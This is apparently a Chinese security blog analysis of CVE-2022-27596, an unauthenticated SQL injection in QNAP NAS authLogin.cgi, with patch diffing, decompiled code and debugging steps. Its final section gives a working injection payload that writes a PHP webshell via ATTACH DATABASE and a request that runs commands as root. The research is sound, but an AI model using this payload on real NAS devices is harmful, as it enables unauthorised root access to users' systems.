CVE-2022-27596

2023-02-06

● 字数统计: 3.7k字 | ■ 阅读时长≈ 19分

2023 年 1 月 30 日, QNAP 官方公布了影响 QNAP NAS 设备的漏洞 CVE-2022-27596, 本文对此漏洞的成因进行分析。

环境准备

本次复现我们使用设备 TS-532X, 这是一款具有 5 个磁盘插槽的桌面 NAS 设备, 支持 QTS 5.0.1 系统。

存在漏洞的相关程序我已经上传至网盘,提取码:4rn6。感兴趣的伙伴可以下载分析。

补丁对比

官方通告中只简单描述了漏洞危害,根据 json 附件和第三方信息可以大体确定,这是一个 SQL 注入漏洞。

首先下载到两个临界版本(QTS 5.0.1.2194 build 20221022 和 QTS 5.0.1.2234 build 20221201), 解压后比对文件系统, web 目录下发生变化的程序不是很多,鉴于该漏洞无需授权即可利用,排除掉一些后台接口之后,可以发现 authLogin.cgi 比较可疑。



使用 Bindiff 比较两个版本程序

										_		-	
A.	1.00	0.99	0043B6E8	quftp_get_remote_ftp_total	Imported	0043B7C8	quftp_get_remote_ftp_total	Imported	-1	0	-1	-1 0	-1
A.	1.00	0.99	0043B700	gmon_start	Imported	0043B7E0	gmon_start	Imported	-1	0	-1	-1 0	-1
A	0.99	0.99	004135A8	sub_004135A8	Normal	00413680	sub_00413680	Normal	0	46	0 (0 64	0
A.	0.96	0.98	00408BB8	sub_00408BB8	Normal	00408BB8	sub_00408BB8	Normal	9	497	10 3	38 717	7 41

发生变化的仅有两个函数,第一个函数实际逻辑没有变化,我们重点关注第二个函数。

sub_408bb8 是 authLogin.cgi 的主要处理函数,限于篇幅这里不列出完整代码。两个版本的差异主要在于一些字符串发生了变化:

```
1  // 2194
2  if ( ((v39 + 2) & 0xfffffffD) == 0 )
3  {
4     sub_411B58(1LL);
5     v55 = sub_40F730("SMBFW", OLL, "0");
6     v56 = sub_40CD08(v55);
7     sub_40CE20(v56);
```

```
v57 = Is_2SV_Enable(byte_43ABOA);
        v58 = 0LL;
       if (!v57)
           v58 = Is_User_Group_Force_2SV_Effect(byte_43AB0A) != 0;
       v40 = sub_41E000;
       V41 = "NVRVER";
       v43 = sub_41E000;
       v59 = sub_40F730("force_2sv", OLL, "%d", v58);
       goto LABEL_94;
   }
   v41 = "NVRVER";
19 	 v40 = sub_41E000;
   v44 = sub_411B58(OLL);
   v43 = sub_41E000;
   LABEL_65:
v45 = sub_400038(v44);
   sub_40F730("ts", OLL, "%11d", v45);
   // 2234
    if ((v39 + 2) & 0xfffffff) == 0)
       v43 = "nagement";
       sub_411C30(1LL);
       v52 = sub_{40}F808("SMBFW", OLL, "0");
       v53 = sub\_40CDE0(v52);
       sub_40CEF8(v53);
       v54 = Is_2SV_Enable(byte_43ABEA);
       v55 = OLL;
       if (!v54)
           v55 = Is_User_Group_Force_2SV_Effect(byte_43ABEA) != 0;
       v40 = sub_41E000;
       v41 = "qdownload";
        sub_40F808("force_2sv", OLL, "%d", v55);
       v56 = 4317184LL;
       v215 = sub_41E000;
        goto LABEL_95;
```

```
44  }
45  v41 = "qdownload";
46  v40 = sub_41E000;
47  v43 = "share Management" + 8;
48  sub_411c30(OLL);
49  v44 = 4317184LL;
50  v215 = sub_41E000;
51  LABEL_65:
52  v45 = sub_40D110(v44);
53  sub_40F808("ts", OLL, "%11d", v45);
```

除字符串之外代码逻辑变化较小,且没有发现 SQL 相关操作。我们猜测主要漏洞可能位于 authLogin.cgi 使用的 so 库中。

对比两个版本的 so 库目录,找到一些存在差异的文件,通过搜索函数可以找到关键文件 libuLinux_NAS.so.0.0,同样使用 bindiff 比较:

6 B	1.00	0.99	00085538	imp_sqlite3_prepare	Imported	00096568	imp_sqlite3_prepare	Imported	-1	0	-1 -1	0	-1
4	1.00	0.99	00085540	imp_sqlite3_prepare_v2	Imported	00096570	imp_sqlite3_prepare_v2	Imported	-1	0	-1 -1	0	-1
45	1.00	0.99	00085548	imp_sqlite3_busy_timeout	Imported	00096578	imp_sqlite3_busy_timeout	Imported	-1	0	-1 -1	0	-1
A	1.00	0.99	00085550	imp_sqlite3_open	Imported	00096580	imp_sqlite3_open	Imported	-1	0	-1 -1	0	-1
A.	0.99	0.99	0002AE2C	Get_2SV_Info_by_User	Normal	0002B8EC	Get_2SV_Info_by_User	Normal	0	15	0 0	20	0
4	0.99	0.99	000437FC	Generate_QPKG_Info_Fork	Normal	000442BC	Generate_QPKG_Info_Fork	Normal	0	34	0 0	47	0
da.	0.99	0.99	00013590	j_do_folder_xattr	Normal	00013690	j_do_folder_xattr	Normal	0	20	0 0	28	0
A.	0.99	0.99	00044B98	do_folder_xattr	Normal	00045658	do_folder_xattr	Normal	0	19	0 0	27	0
å.	0.99	0.99	00013C00	j_Reset_2SV_Default_Conf	Normal	00013D00	j_Reset_2SV_Default_Conf	Normal	0	5	0 0	5	0
4	0.99	0.99	0002A5E4	Reset_2SV_Default_Conf	Normal	0002B0A4	Reset_2SV_Default_Conf	Normal	0	4	0 0	4	0
4	0.98	0.99	00063D58	sub_00063D58	Normal	000649A4	sub_000649A4	Normal	0	57	0 0	85	0 _
da e	0.98	0.98	00031578	sub_00031578	Normal	00032038	sub_00032038	Normal	0	4	0 0	4	0 -

逐个分析, 最终找到关键函数 sub_63D58(2194 版本), 列举两个版本代码如下

```
1  // 2194
2  __int64 __fastcall sub_63D58(__int64 a1, const char *a2, int a3, _BYTE *a4, int a5, int a
3  {
4    v35 = OLL;
5    v38 = OLL;
```

```
v37 = OLL;
v36 = OLL;
memset(v32, 0, sizeof(v32));
v34 = 0;
if (!a2)
return 4294967285LL;
if ( a3 < -1 \mid | a3 > 1 )
 return 4294967285LL;
if (a5 < 0 | a6 < 0)
  return 4294967285LL;
if ( a4 && *a4 )
  if ( a3 )
  {
   if (a3 == 1)
      v38 = sqlite3_mprintf("ORDER BY %q DESC ", a4);
    else
      v38 = sqlite3_mprintf(byte_7D820);
  else
    v38 = sqlite3_mprintf("ORDER BY %q ASC ", a4);
if ( data )
  if ( *(data + 16) )
    v10 = strlen(v32);
    sprintf(&v32[v10], "AND client_id = '%s' ", *(data + 16));
  if ( *(data + 24) )
    v11 = strlen(v32);
    sprintf(&v32[v11], "AND token = '%s' ", *(data + 24));
  }
```

```
if ( *(data + 32) )
  v12 = strlen(v32);
  sprintf(&v32[v12], "AND client_agent = '%s' ", *(data + 32));
if ( *(data + 40) )
  v13 = strlen(v32);
  sprintf(&v32[v13], "AND client_app = '%s' ", *(data + 40));
if (*(data + 48) >= 0)
  v14 = strlen(v32);
  sprintf(\&v32[v14], "AND uid = '%d' ", *(data + 48));
if ( *(data + 56) )
  v15 = strlen(v32);
  sprintf(&v32[v15], "AND user = '%s' ", *(data + 56));
if (*(data + 64) >= 0)
  v16 = strlen(v32);
  sprintf(&v32[v16], "AND create_time = '%d' ", *(data + 64));
if (*(data + 68) >= 0)
{
  v17 = strlen(v32);
  sprintf(&v32[v17], "AND duration = '%d' ", *(data + 68));
if (*(data + 72) >= 0)
  v18 = strlen(v32);
  sprintf(&v32[v18], "AND last_access = '%d' ", *(data + 72));
if (*(data + 76) >= 0)
```

```
v19 = strlen(v32);
    sprintf(\&v32[v19], "AND type = '%d' ", *(data + 76));
  if ( *(data + 80) )
    v20 = strlen(v32);
    sprintf(&v32[v20], "AND extra_data = '%s' ", *(data + 80));
}
if (a7 > 0)
  v21 = strlen(v32);
  sprintf(&v32[v21], "AND duration != -1 AND (create_time+duration) < %ld ", a7);</pre>
}
if ( v32[0] )
  v36 = sqlite3_mprintf("WHERE %s", &v32[4]);
else
  v36 = sqlite3_mprintf(byte_7D820);
if ( a5 || a6 )
  v37 = sqlite3_mprintf("LIMIT %d OFFSET %d", a6, a5);
else
  v37 = sqlite3_mprintf(byte_7D820);
v35 = sqlite3_mprintf("SELECT * FROM QTOKEN %s %s %s;", v36, v38, v37);
v34 = sqlite3\_open(a2, &v33);
if ( v34 )
{
  sqlite3_free(v35);
  sqlite3_free(v38);
  sqlite3_free(v37);
  v22 = sqlite3_errmsg(v33);
  sub_62648("open %s failed! (%d, %s)\n", a2, v34, v22);
  result = 4294967276LL;
}
else
{
```

```
sqlite3_busy_timeout(v33, 60000LL);
    v34 = sqlite3_exec(v33, v35, a1, a9, OLL);
    if ( v34 )
      if ( j_check_db(g_dbfile) )
       j_qtoken_db_init();
      v23 = sqlite3_errmsg(v33);
      sub_62648("query failed! (%d, %s)\n", v34, v23);
    sqlite3_close(v33);
    sqlite3_free(v35);
    sqlite3_free(v38);
    sqlite3_free(v37);
    if ( v34 )
      result = 4294967272LL;
    else
      result = OLL;
  return result;
// 2234
__int64 __fastcall sub_649A4(__int64 a1, const char *a2, int a3, _BYTE *a4, int a5, int a
  v41 = 0LL;
  V44 = OLL;
  v43 = 0LL;
  v42 = 0LL;
 memset(v38, 0, sizeof(v38));
 v40 = 0;
 if (!a2)
  return 4294967285LL;
 if ( a3 < -1 \mid \mid a3 > 1 )
    return 4294967285LL;
  if (a5 < 0 | a6 < 0)
```

```
return 4294967285LL;
if ( a4 && *a4 )
  if ( a3 )
   if ( a3 == 1 )
      v44 = sqlite3_mprintf("ORDER BY %q DESC ", a4);
    else
      v44 = sqlite3_mprintf(byte_7E500);
  }
  else
  {
    v44 = sqlite3_mprintf("ORDER BY %q ASC ", a4);
if (a8)
  if ( *(a8 + 16) )
    v10 = 2048 - strlen(v38);
    v11 = strlen(v38);
    sqlite3_snprintf(v10, &v38[v11], "AND client_id = \frac{1}{q}", *(a8 + 16));
  }
  if (*(a8 + 24))
    v12 = 2048 - strlen(v38);
    v13 = strlen(v38);
    sqlite3\_snprintf(v12, &v38[v13], "AND token = '%q' ", *(a8 + 24));
  }
  if (*(a8 + 32))
    v14 = 2048 - strlen(v38);
    v15 = strlen(v38);
    sqlite3\_snprintf(v14, &v38[v15], "AND client\_agent = '%q' ", *(a8 + 32));
  if (*(a8 + 40))
```

```
v16 = 2048 - strlen(v38);
  v17 = strlen(v38);
  sqlite3\_snprintf(v16, &v38[v17], "AND client\_app = '%q' ", *(a8 + 40));
if (*(a8 + 48) >= 0)
  v18 = strlen(v38);
  sprintf(\&v38[v18], "AND uid = '%d' ", *(a8 + 48));
if (*(a8 + 56))
  v19 = 2048 - strlen(v38);
  v20 = strlen(v38);
  sqlite3\_snprintf(v19, &v38[v20], "AND user = '%q' ", *(a8 + 56));
if (*(a8 + 64) >= 0)
  v21 = strlen(v38);
  sprintf(&v38[v21], "AND create_time = '%d' ", *(a8 + 64));
if (*(a8 + 68) >= 0)
  v22 = strlen(v38);
  sprintf(&v38[v22], "AND duration = '%d' ", *(a8 + 68));
if (*(a8 + 72) >= 0)
  v23 = strlen(v38);
  sprintf(&v38[v23], "AND last_access = '%d' ", *(a8 + 72));
if (*(a8 + 76) >= 0)
  v24 = strlen(v38);
  sprintf(&v38[v24], "AND type = '%d' ", *(a8 + 76));
}
```

```
if (*(a8 + 80))
    v25 = 2048 - strlen(v38);
    v26 = strlen(v38);
    sqlite3_snprintf(v25, &v38[v26], "AND extra_data = '%q' ", *(a8 + 80));
if (a7 > 0)
  v27 = strlen(v38):
  sprintf(&v38[v27], "AND duration != -1 AND (create_time+duration) < %ld ", a7);</pre>
}
if ( v38[0] )
  v42 = sqlite3_mprintf("WHERE %s", &v38[4]);
else
  v42 = sqlite3_mprintf(byte_7E500);
if ( a5 || a6 )
  v43 = sqlite3_mprintf("LIMIT %d OFFSET %d", a6, a5);
else
  v43 = sqlite3_mprintf(byte_7E500);
v41 = sqlite3_mprintf("SELECT * FROM QTOKEN %s %s %s;", v42, v44, v43);
v40 = sqlite3\_open(a2, &v39);
if ( v40 )
{
  sqlite3_free(v41);
  sqlite3_free(v44);
  sqlite3_free(v43);
  v28 = sqlite3_errmsg(v39);
  sub_63294("open %s failed! (%d, %s)\n", a2, v40, v28);
  result = 4294967276LL;
else
  sqlite3_busy_timeout(v39, 60000LL);
  v40 = sqlite3_exec(v39, v41, a1, a9, 0LL);
  if ( v40 )
```

此函数使用一些参数拼接 sqlite 查询语句并执行,不难发现旧版本中在拼接 SQL 语句时对字符串使用了%s,而没有使用安全的%q。

至此可以猜测此函数为最终漏洞点,接下来通过交叉引用尝试从 authLogin.cgi 定位相关代码。

在 authLogin.cgi 的处理逻辑中,当用户传入名为 app 的参数时,会进入 app_handler 函数:

```
1 __int64 __fastcall app_handler(__int64 a1)
2 {
3     v76[8] = OLL;
4     v76[9] = OLL;
5     v76[0] = OLL;
6     v76[1] = OLL;
7     v76[2] = OLL;
```

```
v76[3] = 0LL;
  v76[10] = 0LL;
  v76[11] = 0LL;
  v76[4] = 0LL;
  v76[5] = 0LL;
  v76[6] = 0LL;
  v76[7] = OLL;
  v76[12] = 0LL;
 v76[13] = 0LL;
 v77 = 0;
  v73 = 0;
 v76[14] = 0LL;
 v76[15] = 0LL;
 v72 = 0LL;
 memset(v84, 0, sizeof(v84));
  memset(v78, 0, 0x101uLL);
 memset(v79, 0, 0x101uLL);
 v75 = 0;
 v71 = 0LL;
 v74[0] = 0LL;
 v74[1] = 0LL;
  v74[2] = 0LL;
 v74[3] = 0LL;
 v2 = CGI_Find_Parameter(a1, "app");
 if ( v2 )
   app = *(v2 + 8);
   v4 = CGI_Find_Parameter(a1, "user");
   if ( v4 )
    {
LABEL_3:
      v68 = *(v4 + 8);
      goto LABEL_4;
   }
  }
  else
```

```
app = OLL;
   v4 = CGI_Find_Parameter(a1, "user");
   if ( v4 )
      goto LABEL_3;
 v68 = 0LL;
LABEL_4:
 v5 = CGI_Find_Parameter(a1, "pwd");
 if ( v5 )
  {
  v67 = 1;
   strncpy(v76, *(v5 + 8), 0x81uLL);
  else
   v67 = 0;
 v6 = CGI_Find_Parameter(a1, "remme");
 if ( v6 )
   v66 = strtol(*(v6 + 8), 0LL, 10);
   v7 = CGI_Find_Parameter(a1, "app_token");
   if ( v7 )
    {
LABEL_8:
      app_token = *(v7 + 8);
     goto LABEL_9;
   }
  }
  else
  {
   v66 = 0;
   v7 = CGI_Find_Parameter(a1, "app_token");
   if ( v7 )
      goto LABEL_8;
```

```
app_token = OLL;
LABEL_9:
 v9 = CGI_Find_Parameter(a1, "renew");
 if ( v9 )
    renew = strtol(*(v9 + 8), OLL, 10);
  else
    renew = 0;
  v11 = CGI_Find_Parameter(a1, "auth");
  if ( v11 )
  {
    auth = strtol(*(v11 + 8), OLL, 10);
   v12 = CGI_Find_Parameter(a1, "sid");
   if ( v12 )
      goto LABEL_13;
 }
  else
    auth = 0;
   v12 = CGI_Find_Parameter(a1, "sid");
   if ( v12 )
LABEL_13:
      sid = *(v12 + 8);
     v13 = CGI_Find_Parameter(a1, "client_id");
     if ( v13 )
        goto LABEL_14;
      goto LABEL_54;
   }
  }
 sid = OLL;
  v13 = CGI_Find_Parameter(a1, "client_id");
  if ( v13 )
  {
LABEL_14:
    client_id = *(v13 + 8);
```

```
v15 = CGI_Find_Parameter(a1, "client_app");
              if (v15)
                      goto LABEL_15;
LABEL_55:
               client_app = OLL;
              v17 = CGI_Find_Parameter(a1, "client_agent");
              if (v17)
                      goto LABEL_16;
LABEL_56:
               client_agent = OLL;
               goto LABEL_17;
      }
LABEL_54:
       client_id = OLL;
      v15 = CGI_Find_Parameter(a1, "client_app");
      if (!v15)
              goto LABEL_55;
LABEL_15:
       client_app = *(v15 + 8);
       v17 = CGI_Find_Parameter(a1, "client_agent");
      if (!v17)
               goto LABEL_56;
LABEL_16:
        client_agent = *(v17 + 8);
LABEL_17:
       v19 = CGI_Find_Parameter(a1, "duration");
       if (!v19 | | ((v20 = strtol(*(v19 + 8), 0LL, 10), v20 \le 0) ? (v21 = v20 == -1) : (v2
              v22 = 90;
        if ( !CGI_Find_Parameter(a1, "gen_client_id") || get_uuid(v79, 257, v23, v24, v25, v26,
               sub_411020();
               if ( Get_App_Token_Support(app) )
                      v48 = -1;
                      goto LABEL_35;
              }
```

```
v42 = 0;
    if ( app_token )
      goto LABEL_27;
    if ( ((v68 != OLL) & v67) == 0 )
      goto LABEL_39;
LABEL_38:
   if (!User_Belongs_To_Group(v68, "administrators") || b64_Decode_Ex(v84, 512LL, v76)
      goto LABEL_109;
   if (strlen(v84) > 0x40)
      v84[65] = 0;
    v51 = v68;
   if ( sub_40D990(v68, v84, 1LL) )
      v48 = -1;
      sub_40EB90(app, v68, client_id, client_app, client_agent);
      goto LABEL_34;
   }
   if ( v66 )
      if ( !client_id )
       if ( !Get_App_Token(app, v68, v78, 257LL) )
         goto LABEL_33;
        memset(v78, 0, 0x101uLL);
        if ( !Gen_App_Token(app, v68, v78, 257LL) )
          goto LABEL_33;
        goto LABEL_109;
     }
    }
    else
LABEL_39:
     if (!sid)
        goto LABEL_63;
      if ( auth_get_session(sid, 1LL, &unk_43AAB8) )
        goto LABEL_109;
```

```
v51 = byte_43AB0A;
      if ( !User_Belongs_To_Group(byte_43ABOA, "administrators") )
        goto LABEL_109;
      if (!v66)
        goto LABEL_63;
      if ( !client_id )
        if ( !Get_App_Token(app, byte_43ABOA, v78, 257LL) )
          goto LABEL_33;
        memset(v78, 0, 0x101uLL);
        if ( !Gen_App_Token(app, byte_43ABOA, v78, 257LL) )
          goto LABEL_33;
        v48 = -1;
        goto LABEL_34;
     }
    if ( !Get_App_Token_by_Client_ID(app, v51, client_id, v78, 257LL) )
      goto LABEL_33;
    memset(v78, 0, 0x101uLL);
    v43 = v22;
   v44 = client_agent;
   v45 = client_app;
   v46 = client_id;
    v47 = v51;
LABEL_32:
    if (!Gen_App_Token_by_Client_ID(app, v47, v46, v45, v44, v43, v78, 257LL))
    {
LABEL_33:
      v48 = 0;
      sub_40F730("app_token", OLL, "%s", v34, v35, v36, v37, v38, v39, v40, v41, v78, v30
      goto LABEL_34;
    goto LABEL_109;
  sub_411020();
  if ( Get_App_Token_Support(app) )
```

```
v48 = -1;
    goto LABEL_51;
  client_id = v79;
 v42 = 1;
 if (!app_token)
    goto LABEL_38;
LABEL_27:
 if ( !*app_token )
    goto LABEL_109;
  if (!renew)
   if (!auth)
    {
     if ( client_id )
       if ( Verify_App_Token_by_Client_ID(client_id, app_token, v74, 33LL) )
LABEL_113:
         v48 = -1;
         sub_40EB90(app, v74, client_id, client_app, client_agent);
         goto LABEL_34;
      else if ( Verify_App_Token(app, app_token, v74, 33LL) )
LABEL_116:
        v48 = -1;
        sub_40EB90(app, v74, OLL, client_app, client_agent);
        goto LABEL_34;
LABEL_63:
      v48 = 0;
      goto LABEL_34;
    }
```

```
if ( client_id )
      if ( Verify_App_Token_by_Client_ID(client_id, app_token, v74, 33LL) )
        goto LABEL_50;
    else if ( Verify_App_Token(app, app_token, v74, 33LL) )
LABEL_50:
      v48 = -1;
      sub_40EB90(app, v74, client_id, client_app, client_agent);
     if (!v42)
        qoto LABEL_35;
LABEL_51:
      sub_40F730("client_id", OLL, v79, v34, v35, v36, v37, v38, v39, v40, v41, v29, v30,
      goto LABEL_35;
   }
   memset(v80, 0, 0x101uLL);
   if ( qtoken\_query\_by\_token(app\_token, &v71) \mid | (v52 = *(v71 + 68), v52 == -1) )
      v53 = -1LL;
    else
      v53 = v52 + *(v71 + 64);
    if (!sub_40EA10(app, v80, 257LL))
      v54 = client_app ? client_app : v80;
      if (!auth_add_session_ex(&v72, v74, 1LL, "", client_id, v54, client_agent, v53))
      {
        sub_411BA0(&v72);
        v55 = time(OLL);
        Update_Token_Last_Access_Time(app_token, v55);
        memset(v82, 0, 0x1c8uLL);
        memset(v81, 0, 0x101uLL);
        if (app)
          CGI_Get_Http_Info(v82);
          if (!sub_40EA10(app, v81, 257LL))
```

```
if ( LOBYTE(v74[0]) )
    v56 = v74;
  else
   v56 = "---";
  v70 = v56;
 if ( is_https() )
   v57 = 11LL;
  else
   v57 = 3LL;
  v58 = "---";
 if ( client_id )
   v58 = client_id;
  if ( client_app )
    v59 = client_app;
  else
    v59 = v81;
  if ( client_agent )
    v60 = client_agent;
  else
    v60 = "Agent";
  SendConnToLogEngineEx4(OLL, v70, v81, &v83, "---", v57, 10LL, OLL, v58, v59,
}
memset(v82, 0, 0x101uLL);
if (!sub_40EA10(app, v82, 257LL))
  if ( client_id )
    v61 = client_id;
  else
   v61 = "---";
  if ( client_app )
    v62 = client_app;
  else
   v62 = v82;
  if ( client_agent )
   v63 = client_agent;
  else
```

```
v63 = "Agent";
            v48 = 0;
            shm_add_http_user_with_client_info(v74, "Administration", "---", v61, v62, v6
            goto LABEL_34;
        goto LABEL_63;
LABEL_109:
    v48 = -1;
    goto LABEL_34;
 if ( client_id )
    if ( !Verify_App_Token_by_Client_ID(client_id, app_token, v74, 33LL) )
      v43 = v22;
      v44 = client_agent;
      v45 = client_app;
      v46 = client_id;
      v47 = v74;
      goto LABEL_32;
    goto LABEL_113;
 if ( Verify_App_Token(app, app_token, v74, 33LL) )
    goto LABEL_116;
  if ( !Gen_App_Token(app, v74, v78, 257LL) )
    goto LABEL_33;
 v48 = -1;
LABEL_34:
 <u>if</u> ( v42 )
    goto LABEL_51;
LABEL_35:
 v49 = sub_40F730("result", OLL, "%d", v34, v35, v36, v37, v38, v39, v40, v41, v48, v30,
```

等必要参数,然后判断用户是否传入了 gen_client_id,如果没有,则调用 Get_App_Token_Support 并 传入 app 参数,尝试获取 app 相关配置信息。

Get_App_Token_Support 函数调用 lib 库中的 Get_App_Token_Support_List,此函数使用一些固定字符串构造出一系列 app 对象并返回,包括 MUSIC_STATION、PHOTO_STATION 等。

之后代码会判断用户传入的 app 参数是否和这些 app 对象中的一个相匹配,如果找不到任何匹配则退出。

如果找到了某个匹配,继续判断用户是否传入了 app_token 参数,如果用户传递了 app_token,并且没有传递 renew、auth、client_id 三个参数,代码就会调用 Verify_App_Token 并将 app_token 作为参数传入。

之后就会来到漏洞点,将 app_token 拼接到 token 查询语句之后,使用 sqlite3_exec 执行。

漏洞利用

我们可以通过调试来确定以上分析是否正确。目标程序为一个动态调用的 cgi, 可通过循环附加实现调试。

上传一个 gdbserver 到文件系统,然后在设备上执行命令:

```
1 while true;do ./gdbserver 0.0.0.0:12345 --attach `ps | grep authLogin | head -n1 | awk '{pr
```

客户端 gdb 调试文件

```
1 file ./home/httpd/cgi-bin/authLogin.cgi
2 b *0x000000040F574
3 target remote 192.168.0.177:12345
```

我们将断点下在调用 Verify_App_Token 函数的位置。

发送以下数据包,注意要在 client_agent 参数中填入较多的字符,否则程序运行太快会错过关键位置。

```
POST /cgi-bin/authLogin.cgi HTTP/1.1
Host: 192.168.0.177:5000
Content-Length: 158
Connection: close
app=MUSIC_STATION&app_token=123&sid=1&client_app=1&client_agent=<"a" * 0x3000>
```

发包之后 gdb 在断点位置断下,找到 libLinux_NAS 库文件的基地址,加上偏移量,在漏洞函数 sqlite3_exec 位置下断点。

执行到 sqlite3_exec 时, sql 语句的内容为 SELECT * FROM QTOKEN WHERE token = '123'; , token 部分刚好是我们传递的 app_token 参数值。

目标数据库为 sqlite,通用手段可以通过 ATTACH DATABASE 创建后门 php 文件,这里列举一种利用方法: QNAP 系统中有一些使用率较高的插件是由 PHP 编写的,比如我们这台设备中安装了 Music Station,这是一个可以整合设备上音乐资源的程序,其安装路径默认位于 / share/CACHEDEV1_DATA/.qpkg/musicstation/ ,我们通过漏洞在该路径下创建一个后门文件 qnaptest.php,payload 如下

```
1 123';ATTACH DATABASE '/share/CACHEDEV1_DATA/.qpkg/musicstation/qnaptest.php' AS qnapkey;CRE
```

将其 URL 编码放在 app_token 参数中,发包后可以看到 qnaptest.php 成功创建:

之后访问该文件即可以 root 身份执行命令

```
GET /musicstation/qnaptest.php?cmd=id HTTP/1.1
   Host: 192.168.0.1
   Connection: close
   ______
   HTTP/1.1 200 OK
   Date: Mon, 06 Feb 2023 08:36:43 GMT
   Server:
   X-Frame-Options: SAMEORIGIN
   Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'sel
   Upgrade: h2
   Connection: Upgrade, close
   Vary: Accept-Encoding
   X-XSS-Protection: 1; mode=block
   Strict-Transport-Security: max-age=0
16 X-Content-Type-Options: nosniff
   Content-Type: text/html; charset=UTF-8
   Content-Length: 8197
   SQLite format 3 /Gtablekeykey CREATE TABLE key (dataz text) Iuid=0(admin) gid=0(administra
```

参考文章/拓展阅读

QNAP 官方发布的漏洞通告。

CWE-89 的定义。

第三方安全通告。

